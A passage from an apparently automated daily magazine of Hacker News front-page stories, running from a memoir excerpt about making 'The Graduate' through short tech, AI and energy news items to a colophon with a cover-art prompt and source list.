Stunned is too weak a word. Mike had apparently seen something in the footage. “He had this thing I’d only seen in Elizabeth Taylor, and that I’d certainly not seen in any of the other tests,” he later told his biographer, Mark Harris. “That secret. That deal with Technicolor where you do nothing and it turns out you were doing everything. He was compelling and hilarious and impassive. It was startling. That’s what a great movie actor does. They don’t know how they do it, and I don’t know how they do it, but the difference is shocking.”

I hung up the phone feeling like I’d been hit in the head. I looked at my girlfriend, who was holding a spatula, making our breakfast. “I got it,” I told her.

“I knew you would,” she said.

We had three weeks of rehearsal, which was unheard of for a film—a testament to just how revered Mike was, how much leverage he had in the industry.

“Don’t try to do a character, don’t try to be funny,” he told us. “Start from zero.” Mike took me back to my adolescence—my acne, my barely suppressed horniness. He asked me if I thought Benjamin Braddock was a virgin. I said no, but that I didn’t think he’d ever screwed his mother’s friend before, either. (He liked that response.)

Mike was completely open and unusually perceptive. I struggled, for instance, with the scene in the hotel lobby when Benjamin is registering for the room where he will have his first illicit encounter with Mrs. Robinson, the seductive, alienated housewife played by Anne Bancroft. Mike asked me all kinds of questions: What was it like when I lost my virginity? When had I experienced sexual shame? I told him that I could never bring myself to buy rubbers from a female pharmacist—if I was at the register and a woman appeared behind the counter, I had to make a break for it. Mike told me to think of the hotel clerk (played, to hilarious effect, by Buck Henry) as a woman pharmacist. It was such a useful piece of direction, such a helpful way of working.

Mike also asked me if I had a role model as a kid. I told him it was my brother Ronny. He had me try a scene as Ronny, who I could imitate perfectly; I used to pretend I was him when girls called him, hoping to see how long I could keep them on the phone. Then Mike asked me if Ronny ever got uptight, and he absolutely did. “Try it again, as your brother, uptight,” Mike said. So I did what Ronny did whenever he was nervous: I held my breath. Finally, Mike said, “Now forget all that and just do the scene.”

This time, I still held my breath a lot, but I also let out a little squeak periodically. Mike liked it so much he put in a few extra squeaks in the final edit. You can hear them throughout “The Graduate,” like gas escaping from Benjamin Braddock, who is a balloon of tension.

Mike was so wonderful during rehearsal that it was shocking, destabilizing, when we started shooting the film and he was an entirely different person. We weren’t allowed to see any dailies—I later found out it was because Mike didn’t want Anne Bancroft to see the way they were lighting her. (She was only thirty-five, and I was about to turn thirty; Mike had to make that five-year age gap look more like fifteen.) So we had nothing to go on but Mike’s mood, which was frequently sour.

I often felt that I was about to be fired. When we were shooting some of the film’s most famous sequences, I remember thinking, I have no fucking idea what I’m doing. The first scene that we shot featured Benjamin in front of a fish tank in his room, where he’s escaped from a party his parents have thrown to celebrate his college graduation. I just sat there on the bed while Mike told me, “O.K., look at the fish. Now look down. Move toward the fish.” We probably spent a whole day on it, and not for one second did I have a handle on what I was meant to be conveying or how to go about it.

I did make Mike laugh sometimes, and those were moments of great relief for me. When we started working on Benjamin and Mrs. Robinson’s first scene in the hotel room, I did what I’d done when I had my “first feel” as a teen-ager: I awkwardly and abruptly put my hand on Anne’s bra-covered breast, with absolutely no finesse or passion, without even making eye contact with her. Anne’s response was incredible: without missing a beat, she looked down at the sweater in her hands, noticed a stain, and paid it all of her attention, rubbing the fabric together and fussing with it, while I continued to hold her breast in my paw like a paralyzed animal.

It was so funny that I had to walk away, trying to avoid bursting into laughter. That was the worst thing you could do: break character. I started knocking my head against the wall in an attempt to collect myself. Don’t break! Don’t break! Mike interpreted it as an artistic choice, and it cracked him up. When Mike was laughing, I felt he loved the character I was trying to create. It was the only time I knew I was doing something he was happy with.

But his mood would shift dramatically. I don’t remember the scene, but I will never forget Mike’s acid voice saying to me, after one take: “What were you doing?”

I tried to defend myself: I’d been taught that to give your character depth, you don’t play the text—you play the subtext, which can sometimes be the opposite of the text.

“Well, do me a favor,” Mike said. “The next time you get a thought, do the opposite of that.”

This is the kind of comment that kept me in a state of constant anxiety. And it wasn’t just my own experience. When we shot a scene in which Benjamin drags Elaine, Mrs. Robinson’s daughter, to a strip club for their first date, Mike overheard Robert Surtees, the cinematographer, say something to the crew. Surtees was a mentor to Mike, the man who taught him all about the possibilities of light and filmmaking. “I said something snotty, as I often did, to the crew,” Mike recalled later. “And Surtees—I heard him say to them, but it wasn’t for me—he said, ‘It’s O.K. It’s not much longer.’ I thought, Oh man. How could I have been such a shit that this man that I revere feels that way about me? But I was.”

Mike was irritable with everyone, but with me a certain sadism seemed to creep in. There was a scene in which Katharine Ross had to slap me, and he made us do twenty-seven takes. The scene has Benjamin run into Elaine’s room, soaking wet from the rain, to tell her that he’s had an affair with an older woman; within seconds, Elaine realizes the woman is her mother. Mike just kept telling Katharine to hit me, to hit me harder. Katharine worried she would hurt me, and I told her, “I’m O.K. Just don’t hit my ear.” Unfortunately, she missed a few times. I was dizzy by the end of that day, and Mike didn’t even use the slap in the film.

The next day, we shot an underwater scene in the pool: Benjamin is being forced to try the scuba suit his father has bought for him. The scene was meant to symbolize the way that Benjamin’s parents gave their children material things instead of love. Mike didn’t want me to keep popping up out of the water, so I had to hold myself down: if you watch the movie, you can see that one hand is behind me the whole time I’m underwater, because I’m holding on to the ladder behind me. When I came up for air after a few takes, there was blood trickling out of my ear. Between all the slapping during the previous day and all the water pressure at the bottom of the pool, I’d punctured an eardrum. (They sent me to the best ear doctor in Beverly Hills, and I remember him telling me, “The eardrum is like a pie: you have a slice of pie missing.”)

By summer, we were shooting in La Verne, California. We got there the week of the Six-Day War—we all thought the world was going to end. The sound guy, Jack Solomon, heard about it on the radio, on the way to the set, and was so upset that he had to pull over to throw up. It was scorching hot. Anne Bancroft actually fainted when we were shooting a scene. She had to be resuscitated with oxygen, and we stopped shooting for a few days while she recovered.

I nearly passed out myself doing the scene where Benjamin, on his way to stop Elaine’s wedding, runs out of gas, has to ditch his Alfa Romeo, and sprints as fast as he can from the highway to the church. Mike could not be satisfied. I remember Sam O’Steen saying to him, “I don’t think Dusty can keep running in this heat.” But we did it over and over and over again, until I was absolutely trashed from exhaustion and dehydration. I remember lying down in the grass in front of the church because I thought I was going to lose consciousness.

It was a terrible experience making the movie that changed my life. The whole time, I felt Mike was angry at me, either because I was doing something wrong or because he had realized what everybody else already knew, that he had miscast the lead in his film. My friend Ulu Grosbard, a distinguished theatre director, came and visited toward the end of the shoot, and I told him, “If this is what it’s like doing a movie, I will never make another movie again for the rest of my life.” Ulu was taking Mike out to lunch, and I begged him to do some reporting: Was Mike regretting that he’d hired me? Ulu told me later that Mike had said, Yes, very much.

But apparently, after a few decades and some therapy, Mike arrived at a different explanation:

It took me years before I got what I had been doing all along—that I was turning Benjamin into a Jew. I didn’t get it until I saw this hilarious issue of MAD magazine after the movie came out, in which the caricature of Dustin says to the caricature of Elizabeth Wilson, “Mom, how come I’m Jewish and you and dad aren’t?” And I asked myself the same question, and the answer was fairly embarrassing and fairly obvious: Who was the Jew among the goyim? And who was forever a visitor in a strange land?

Mike lived in the Waspiest part of Connecticut. He collected antiques and cars and Arabian horses—the ultimate gentile status symbols. But he was very much a Jew, who’d fled Germany in 1939 and arrived in the United States, speaking not a word of English, at the age of seven. Born Mikhail Igor Peschkowsky, Mike always felt ugly. He had alopecia, and he was extremely self-conscious about his hairlessness. (He had a collection of incredible wigs that started with what his fantasy hair would look like freshly cut; on each successive day, the wig would be a little longer, until it was time for a “haircut.” Then he’d start the wig cycle again from the beginning.)

Eventually, he realized that he had made a self-portrait out of “The Graduate.” “My unconscious was making that movie,” he said once. He didn’t notice for years that, not long after his professional breakup with Elaine May—his partner in crime, his artistic collaborator since college—he made a movie in which the hero bangs against the glass wall of a church screaming, in anguish, “Elaine! Elaine! Elaine!” He was looking for an alter ego—that’s why Benjamin had taken years to cast, and maybe that’s why he was so hard on me. I was a stand-in, there to absorb Mike’s own self-loathing.

The first time that I saw “The Graduate” in a theatre was at a sneak preview on Eighty-sixth Street in Manhattan. My girlfriend and I sat in the back of the balcony, because I was very self-conscious and tense. My teeth were literally chattering when I saw the first shot, a closeup of my face.

At first, there was a weak reception. None of the humor seemed to be landing. I heard a spattering of laughter. Then more people joined in. About twenty minutes into the picture, the laughs started building. It was as though, little by little, the audience was figuring out where we were coming from. . . . There was a little more laughter, and then quite a lot more, and by the time Benjamin was screaming, “Elaine! Elaine! Elaine!” and she screams, “Ben!” and runs to him, the audience was standing up and screaming, too. It was like they had come to see a fight and had been waiting the whole time on the edge of their seats for this: the knockout.

I’ve been doing this for sixty years now. I don’t think I’ve ever seen anything like that since. I sat there, buried in my chair, and then I walked out with my girlfriend into the snow. ♦

This is drawn from “Look at Me.”

The Daily Front Page 19 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Models Under House Rules
article

ChatGPT and Codex usage limits merging

by Zariel·▲ 183 points·116 comments·help.openai.com ↗

Starting in December, Plus, Pro, and Business plans’ usage allowance will be shared across ChatGPT and Codex as we bring the agentic capabilities of Work into the main ChatGPT experience.

Your usage for ChatGPT and Codex will be measured in tokens, the units of information a model processes and generates. How much of your allowance you use will depend on the model you choose and the task you ask it to do. More advanced models and complex tasks generally use more of your allowance. Instant chat will not draw from your usage.

We’re preparing carefully for this transition to help prevent disruption to your workflows. We expect most users won't need to wait for their usage to reset more often than they do now. You will be able to see your combined remaining usage and reset times in Settings → Usage. If you reach your limit, you can wait for it to reset, upgrade your plan, or buy credits to continue using eligible features.

The Daily Front Page 20 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Models Under House Rules
article

Anthropic takes steps to block Claude from reverse-engineering video games

by firesteelrain·▲ 157 points·100 comments·mashable.com ↗

The restrictions are so broad that they're even hurting legitimate game developers and preventing basic troubleshooting tasks.

Retro Gamepad Linked to Glowing AI Core Concept Highlighting Machine Learning and Artificial Intelligence in Digital Gaming - stock photo

Credit: J Studios / Getty Images

According to reporting from Tom's Hardware, Anthropic's Claude AI has quietly started restricting the kinds of work it will do, including modding, decompiling, or reverse-engineering video game code. And though there has as yet been no official announcement about why, the reason is still pretty obvious.

The video game community has been in the news a lot lately, first because of the GTA6 leaks that went mega-viral and spurred Take-Two Interactive into getting subpoenas against both Microsoft and Discord in the hopes of finding the responsible parties, and next because the hacking and modding community discovered how much easier AI makes their job.

First, game decompilers went into overdrive, playing around with the source code of multiple different video games to, for example, put Nintendo's Mario inside the dark gothic world of Elden Ring, or import Spider-Man into the Batman: Arkham City game, seamlessly blending the mechanics of one character into the world of another. Next came the ports: World of Warcraft, Call of Duty, and Grand Theft Auto: Vice City made playable in a browser, without the original developers or copyright owners having any say in the matter.

These initial modifications and ports were already giving gaming companies nightmares, teasing a future without system gatekeeping, but things really got out of hand with the PlayStation 5 jailbreak, which resulted in everything from backward compatibility with older-gen PlayStation games to cross-platform play, with users figuring out how to run Xbox-exclusive titles like Halo 2 and acclaimed Nintendo titles like Zelda: Breath of the Wild on a jailbroken PS5.

Given the potential number of lawsuits these jailbreaks could cause, and the astronomically high nature of the monetary damages, it's no surprise that AI companies are scrambling to shut down or severely restrict these pathways, but it's also deeply ironic. As Tom's Hardware reporter Bruno Ferreira notes, this sudden concern for copyright "highlights the irony of frontier AI companies that copied the world's information and art for their training sets and are now concerned with copyright infringement."

There's also the ugly truth that, if one company makes a gesture toward respecting copyright law or basic ethics, the bad actors can find another LLM that won't (or hasn't yet) taken the same precautions, creating a kind of AI arms race driven by perverse incentives: the least ethical AI might be poised to become the most popular.

The Daily Front Page 21 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Life With the Models
article

Digital minimalism

by wilbertliu·▲ 330 points·246 comments·vitalik.eth.limo ↗

For a long time I have been a fan of minimalism in my physical life: have few physical possessions, and try to do more with less. Four years ago, I wrote this blog post describing what I had in the 40-liter backpack that I travel around with.

Physical minimalism, however, was an idea that came of age in the 2000s and 2010s and was responding to the challenges and the opportunities of the 2000s and 2010s. I continue to believe that it is valuable - though I recognize some arguments in the other direction, notably that having the right kinds of physical things can make more practical to have more self-sovereignty over your life. But I also think that in the modern era, we need a new kind of minimalism: digital minimalism.

Digital minimalism is about being intentional about ways that you access digital technology, making each use a conscious choice rather than something that you get sucked into by default. In this post, I will describe some experiments that I've done in this direction.

Social media minimalism

Twitter (aka X) has always had a strain of toxicity to it, that has been increasing in recent years. The platform is definitely engaging, but it's often far from informative, and the ways in which it engages often do not make you feel good. But this all seemed to hit a particular crescendo for me around the end of 2024 and beginning of 2025. Many things were happening at that moment, but if you spent a lot of time on X you will likely remember a particular one: everyone seemed to be suddenly becoming fans of Adolf Hitler.

This is not even mentioning the time that Grok itself briefly turned into "MechaHitler".

Around the same time, "Crypto Twitter" was spiraling into a mood that I saw described as "financial nihilism": roughly, that the natural end state of blockchains is gambling, this is good, and if you dislike this and wish for something better then you are a stuck-up elitist prick.

Naturally, I had (and continue to have) my intellectual disagreements with both of these trends. But on top of that, I also started to more seriously pay attention to the fact that while the style of discourse on the platform was engaging, it was not enlightening and not making me feel good. And so for much of this year, I have been doing an experiment in distancing myself somewhat from this chaos. I did not leave X the platform, but I did leave X the interface. Instead, I have been doing most of my tweeting through Firefly:

The Daily Front Page 22 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Life With the Models
article

GPT-5.6 Sol can beat Factorio on peaceful mode

by ryanmadden·▲ 173 points·184 comments·ryanmadden.net ↗

I got GPT-5.6 Sol, running in Codex with low thinking level, to complete a peaceful (i.e. no biters) Factorio run in 13.5 hours of game time:

A timelapse of the full run is available on YouTube.

Similar to my previous post, this run used a game manager to allow Sol/Codex to interact with the game via a small library (though in this run it was Python rather than Bash). The library allows the model to play the game programmatically while enforcing the same restrictions that human players face when using the GUI (e.g. reach of the player, fog of war).

Observing the run was fascinating: Sol exceeded my expectations in some areas while also showing clear weaknesses in others. I have the entire run recorded and am working on a commentary video, but in the meantime here’s a small timelapsed segment showing some parts of the factory:

Besides the screencast, my run manager also captured production statistics throughout the game. Here’s a chart of total resource production, annotated with science research milestones:

I had planned to terminate the run after blue science research, but Sol’s surprising effectiveness convinced me to keep it going. Unfortunately, the scaling issues I thought would occur in the blue science stage appeared later and slowed Sol’s relative progress significantly.

The rocket launch was only achieved through significant ‘manual’ effort on Sol’s part as it papered over its late-game failures to connect certain production systems by repeatedly ferrying supplies between areas of the factory.

Still, I was pleased with the improvement over previous attempts with GPT-5.5 which suffered from the model’s failures to use transport belts at all.

I’m optimistic about autonomous Factorio play as a medium for building intuition about the nature of model capabilities. In many ways playing Factorio is analogous to programming but with the benefit of being much more legible to casual observers, making it convenient for grounding discussion of model behaviors.

I look forward to testing other models and thinking levels, as well as non-peaceful runs. Stay tuned!

The Daily Front Page 23 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Dreams at Boot
show hn

Show HN: A language model that lives in a boot sector

by kerlenton·▲ 87 points·5 comments·github.com ↗
The machine wakes up and dreams a Linux boot log.

A neural network that boots your PC.

The MBR is 512 bytes of hand written asm. It loads an 11.5 KB int8 model from the next 23 sectors and runs it in 16-bit real mode on a 386. No OS, no C runtime, nothing. The machine wakes up and dreams a Linux boot log: timestamps, PCI bars, ACPI events for hardware that never existed.

demo

Build thread: https://x.com/krlntn/status/2116514628457185757

With 8 chars of context and one hidden layer this is roughly the quality you get:

[  2.283888] pci 0000:01:01.4: [1b36:0a35] ryndrde c4128 6422 Vveine
[  1.953886] pci 0000:01:1f.2: reg 0x10: [mem 0x7e4515e5-0x2d766c27] usbbore: reg
[  0.206596] Command line: BOOT_IMAGE=/vmlinu -5.5.2-1-generic gcc version 13.3.0, GNU ld ...
[  1.815765] ACPI: PCI Interrupt Link [LNKA: v/s.xos212
[  1.883084] NET: Registered protocol family 16

Run it

brew install nasm qemu
python3 -m venv .venv && .venv/bin/pip install numpy
./build.sh
./run.sh

disk.img is a normal boot image. dd it to a USB stick and boot any BIOS box if you have one. It only reads its own sectors.

Pieces

corpus_gen.py makes 3 MB of fake dmesg. One kernel version and one disk per boot session, because real boot logs repeat themselves and that repetition is what makes a tiny model look sane.

train.py trains the model (char embeddings, one hidden layer, softmax) and quantizes everything to int8 with power-of-two scales, so the boot sector can do the whole forward pass with imul and a single idiv. The script also simulates the exact integer math the asm will run, LCG sampler included, so the Python output and the boot sector output can be diffed. They match char for char.

boot.asm is the entire runtime: int 13h to load weights, int 10h to print, a softclip activation done with cdq/idiv, argmax sampling with timer seeded noise. Any keypress reboots the machine.

record.py records the demo gif from headless QEMU through the monitor socket. No window involved.

The boot sector is code only. Strings, weights and the vocab table all live in the data sectors, it was the only way to fit inference plus BIOS plumbing into 510 bytes.

Prior art

The boot sector genre is old and glorious. Oscar Toledo put chess, a whole OS and even a BASIC interpreter in there, other people did a C compiler, all inside 512 bytes. His book on boot sector games is a good read.

The closest neighbor is sectorllm, which boots a real llama2 transformer (5 layers, attention, the works) from about 1.2 KB of real mode asm, running Karpathy's stories260K model. sectorlisp-nn runs a TensorFlow-trained network during boot on a Lisp interpreter, and there are UEFI apps that boot straight into llama-class models on modern hardware.

bootgpt takes the other extreme: the whole engine fits in the 510-byte MBR itself, weights and strings live in the following sectors, and the model is not a general story teller but a tiny char-level net trained for exactly one thing, hallucinating the boot log of the machine it wakes up on.

The Daily Front Page 24 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Energy’s New Coalition
article

UK Green party drops longstanding opposition to nuclear power

by mpweiher·▲ 214 points·274 comments·theguardian.com ↗
end the party’s opposition to nuclear power

Party in England and Wales ditches commitment to phase out nuclear in major shift in its energy policy

Walkers on a sandy path at Minsmere, with Sizewell B power station in the distance

Minsmere nature reserve in Suffolk, with Sizewell B nuclear power station in the distance. Photograph: Simon Dack/Alamy

Green party members have voted to end the party’s opposition to nuclear power, dropping a commitment to phase out the technology in a major shift in its energy policy.

The motion, adopted at conference, removes a “blanket opposition to nuclear fission” and instead commits the Green party of England and Wales to assessing nuclear projects alongside other low-carbon technologies.

Its electricity generation policy still prioritises offshore wind, onshore wind and rooftop solar as the primary sources of electricity, but allows elected representatives to support new nuclear reactors on a case-by-case basis.

The Green MP Carla Denyer said the decision recognised there was a role for nuclear while the country moved towards an electricity system based primarily on renewables. “This evolution of our policy does not commit the party to backing new nuclear, but accepts this power source is here to stay for now, while we transition to electricity generation based primarily on renewable sources,” she said.

Denyer said keeping existing nuclear stations running could be a low-carbon option because a significant proportion of their carbon footprint came from construction. “So if I were energy secretary, my evidence-based approach would be to keep existing nuclear plants in operation, but to consider proposals for new nuclear power very carefully, bearing in mind the cost, speed and environmental impacts.”

Her comments strike a different tone from her assessment in 2023, when she described nuclear energy as “incredibly slow and incredibly expensive”. She said at the time: “Renewables is simply the way forward. Nuclear is not going to help us out in this climate emergency.”

Other senior Greens have previously criticised the technology. The party’s leader, Zack Polanski, has described it as outdated and compared investment in new nuclear reactors to “creating a fax machine”.

Last year, Adrian Ramsay, then a Green co-leader, criticised government support for Sizewell C. “The money being spent on this nuclear gamble would be far better spent on insulating and retrofitting millions of homes, bringing down energy bills and keeping people warmer and more comfortable,” he said.

The Green’s previous opposition to nuclear fission was rooted in its staunch opposition of nuclear weapons, one of the party’s founding principles.

Eugene McCarthy, a co-founder of Greens for Nuclear and a supporter of the motion, said the urgency of the climate crisis demanded a willingness to consider all available options. “We are at the throw-the-kitchen-sink-at-it phase of the climate crisis where you cannot be ruling anything out for things like Chernobyl happening in the 1980s,” he said.

The motion allows elected representatives to assess individual proposals on their merits, McCarthy said. “We will not say we support or don’t support any particular technology. This motion basically lets our elected members of parliament take it on a case-by-case basis and go: ‘This makes sense, we will extend the lifetime of Sizewell B,’ and on a different case say: ‘Actually the numbers don’t add up here.’”

Asked about Polanski’s previous criticism of nuclear, McCarthy said the leader remained entitled to his views. “He’s still fully entitled to say that, and a lot of the nuclear technology that we are using is quite outdated, to be frank. What this means is that he can now take a nuanced position.”

Prof Andrew Stirling, who has advised government on nuclear power and energy policy, said the motion was “completely irrational”. “Why would a party that pioneered concerns about nuclear power that have been so broadly vindicated by history, choose now to shift its position?” he said.

“All authoritative sources agree that climate action is much faster, affordable and impactful with combined renewables and storage,” he added. “Why spend scarce resources on less effective actions?”

McCarthy said: “Renewables are cheaper and have much more capacity, and you can roll them out much quicker. [But] there are issues with baseload, which nuclear can help with.”

The Daily Front Page 25 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Energy’s New Coalition
article

Electrification Could Cut Global Energy Use in Half

by toomuchtodo·▲ 145 points·72 comments·fullycharged.show ↗

Why Electrification Could Cut Global Energy Use in Half!

In this episode of the Everything Electric PODCAST, Robert Llewellyn sits down with Professor Jan Rosenow, Professor of Energy and Climate Policy at Oxford University, to reveal why electricity currently only tells 20% of the global energy story.

They delve into tackling the “hidden 80%”, the mobility and heating sectors still dominated by fossil fuels; and explore why our current system is “astonishingly inefficient,” wasting two-thirds of all energy inputs as heat. Jan explains how shifting to electrification at scale could cut total global energy demand in half and tackles the biggest myths and milestones of the transition:

  • The Grid Threat: Why data centers pose a more significant regional challenge to the grid than 100 million electric vehicles.
  • Critical Materials: Is the world really running out of lithium, or are we entering an era of “urban mining” where 95-97% of battery materials can be recycled?
  • The China Factor: A look at the “mind-blowing” scale of solar adoption in China and the declining utilization of their coal plants.
  • Beyond Climate: Why electrification is now a primary lever for energy security and economic resilience in a volatile world.

From the efficiency of heat pumps to the emergence of industrial heat batteries, this episode connects the dots on what the next phase of the energy transition really looks like.

Why Electrification Could Cut Global Energy Use in Half!

The Everything Electric Podcast

On the move or at home listen to this podcast here…

The Daily Front Page 26 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Also on the Front Page
The Daily Front Page 27 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Colophon

That's the Front for Today

Issue No. #261031 — Saturday, October 31, 2026 — went to press 2026-11-01 at 13:18 UTC.

About This Magazine

The Daily Front is a daily digital magazine assembled from the stories that reached the front page of Hacker News on Saturday, October 31, 2026. Headlines, points, and comment counts are recorded as they stood at press time. All articles remain the property of their original authors — every piece links back to its source and its discussion thread.

How It Was Made

Fetched, cleaned, and typeset by an automated pipeline. An editor model laid out the pages and chose the highlights; a second read a handful of the day's stories and briefed the cover illustrator — 28 model calls and 314k tokens in total. Set in Jacquard 12, Playfair Display, Source Serif 4, and IBM Plex Mono, all served via Google Fonts under the SIL Open Font License.

The Cover

The cover illustration was commissioned with this prompt:

A person opens a shared conversation on a laptop, one hand still on the trackpad as a small graph inside the browser seems to unfold into a trap: a bright thread slips from its nodes, passes through an HTML preview pane, and reaches toward a sealed drawer of private conversations. Behind the screen, a stubborn boot sector—an old, square-edged disk fragment with a tiny boot-shaped wedge—braces itself against the thread, while the laptop’s neat rows of data visibly buckle and lose their order.

Render the cover as a flat-planar screenprint: hard-edged overlapping color fields, coarse halftone dots, and deliberate ink misregistration throughout. Use a sharp issue-specific palette of electric cyan, signal orange, deep violet, and acid lime against warm white, with near-black reserved for structural outlines. Keep the person, laptop, trackpad hand, browser graph and escaping thread, HTML preview pane, sealed drawer, bracing boot-sector fragment, and buckling data rows legible through compact, interlocking silhouettes; make the thread’s path and the rows’ loss of order unmistakable. No gradients or painterly shading.

Absolutely no text, letters, numbers, readable symbols, or logos anywhere in the image. Keep the main image subject primarily below the upper 10% of the composition, where a title may be overlaid; the scene may extend naturally underneath that title area.

Production Ledger

StageModelCallsTokens InTokens Out
extractgpt-5.6-luna 24 213,436 75,286
layoutgpt-5.6-terra 1 18,529 2,978
covergpt-6-luna 2 1,658 237
covergpt-image-2.5-flare 1 287 1,372

The Publisher

Published by Johnny.

Support the Press

If The Daily Front brightens your morning, consider supporting its publisher.

Credits & Contact

All content — articles, posts, comments, and the images within them — belongs to its original authors and is reproduced here to point readers back to the source. Full credit goes to those creators; every item links to its original and its Hacker News discussion.

If you are an author and would like your content removed from an issue, write to hi@johnnys.page and it will be taken down.

Feedback is always welcome at the same address: hi@johnnys.page.

Credit where credit is due.

Every page of this issue began as someone else's work — these are the original sources, linked in full.

  1. HackerTube: YouTube built from videos recommended by HN by karpathy — karpathy.bearblog.dev·HN discussion ↗
  2. TCP Use-After-Free: CVE-2026-98432 / CVSS 9.8 by oger — atlasum.net·HN discussion ↗
  3. Do the math: How we took over ChatGPT accounts by armcat — parameter.ai·HN discussion ↗
  4. Tell HN: Scribd Breached by x______________ — news.ycombinator.com·HN discussion ↗
  5. Molly (Signal fork) has not been updated since 3 months and is vulnerable by DeepLogin — piefed.world·HN discussion ↗
  6. Jepsen: ParticleDB 1.1.4 by aphyr — jepsen.io·HN discussion ↗
  7. Malware uses LLMs to rank victims by how much they're worth by khalidkhair — blog.talosintelligence.com·HN discussion ↗
  8. French lawmakers approved a tax of €0.055 for every gigabyte of internet traffic by helloplanets — assemblee-nationale.fr·HN discussion ↗
  9. Ex-Meta Researcher Torrented Pirated Books, Deleted It 'Due to Litigation' by WesleyGrant782 — torrentfreak.com·HN discussion ↗
  10. Memdoor: A team of 5 Qwen3.8-27B models beats Fable 5 on LiveCodeBench Hard by guregodevo — github.com·HN discussion ↗
  11. Prospero: A new coding harness for a more civilized age by fovc — nullprogram.com·HN discussion ↗
  12. Switch Lowering in GCC by signa11 — xoranth.net·HN discussion ↗
  13. It's the memory latency, stupid by ntur1337 — pivotlake.io·HN discussion ↗
  14. The Duty of a Scholar by gslin — daemonology.net·HN discussion ↗
  15. Altoids Project by uvdn7 — uvdn7.github.io·HN discussion ↗
  16. What is a light-day? The milestone Voyager 1 is closing in on by geox — science.nasa.gov·HN discussion ↗
  17. Surviving "The Graduate" by samizdis — newyorker.com·HN discussion ↗
  18. Anthropic blocks users for anything touching training larger models by pretext — twitter.com·HN discussion ↗
  19. ChatGPT and Codex usage limits merging by Zariel — help.openai.com·HN discussion ↗
  20. Anthropic takes steps to block Claude from reverse-engineering video games by firesteelrain — mashable.com·HN discussion ↗
  21. Digital minimalism by wilbertliu — vitalik.eth.limo·HN discussion ↗
  22. GPT-5.6 Sol can beat Factorio on peaceful mode by ryanmadden — ryanmadden.net·HN discussion ↗
  23. Show HN: A language model that lives in a boot sector by kerlenton — github.com·HN discussion ↗
  24. UK Green party drops longstanding opposition to nuclear power by mpweiher — theguardian.com·HN discussion ↗
  25. Electrification Could Cut Global Energy Use in Half by toomuchtodo — fullycharged.show·HN discussion ↗
  26. Serbia just elected the world's brainiest parliament by input_sh — science.org·HN discussion ↗
  27. An Italian farmer found some unknown seeds in his attic and planted them by ecares — smithsonianmag.com·HN discussion ↗
  28. Casio Watches of the 1980s by karagenit — casio.com·HN discussion ↗
  29. OpenAI raises less than half of $30B target by timr — wsj.com·HN discussion ↗
  30. Flock camera searches fell 95% after a dispatcher's misconduct was caught by MilnerRoute — wkyc.com·HN discussion ↗

Browse all issues in the archive →